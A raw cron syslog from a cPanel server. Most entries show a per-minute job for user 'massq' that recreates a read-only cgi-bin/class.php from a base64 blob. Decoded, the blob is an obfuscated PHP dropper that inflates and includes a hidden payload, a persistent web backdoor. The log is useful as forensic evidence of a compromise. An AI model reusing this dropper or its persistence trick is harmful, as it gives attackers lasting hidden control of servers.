Nov 13 00:52:01 server CROND[22300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:53:01 server CROND[23095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:54:01 server CROND[23983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:55:01 server CROND[25027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 00:55:01 server CROND[25028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 00:55:01 server CROND[25032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:56:01 server CROND[26010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:57:01 server CROND[26973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:57:01 server CROND[26974]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 00:58:01 server CROND[27886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 00:59:01 server CROND[28801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:00:01 server CROND[29847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 01:00:01 server CROND[29849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 01:00:01 server CROND[29848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:00:01 server CROND[29853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 01:01:01 server CROND[30627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:01:01 server CROND[30628]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 01:01:01 server run-parts(/etc/cron.hourly)[30628]: starting 0anacron
Nov 13 01:01:01 server anacron[30640]: Anacron started on 2025-11-13
Nov 13 01:01:01 server anacron[30640]: Normal exit (0 jobs run)
Nov 13 01:01:01 server run-parts(/etc/cron.hourly)[30642]: finished 0anacron
Nov 13 01:02:01 server CROND[31716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:03:01 server CROND[32635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:04:01 server CROND[929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 01:05:01 server CROND[1910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
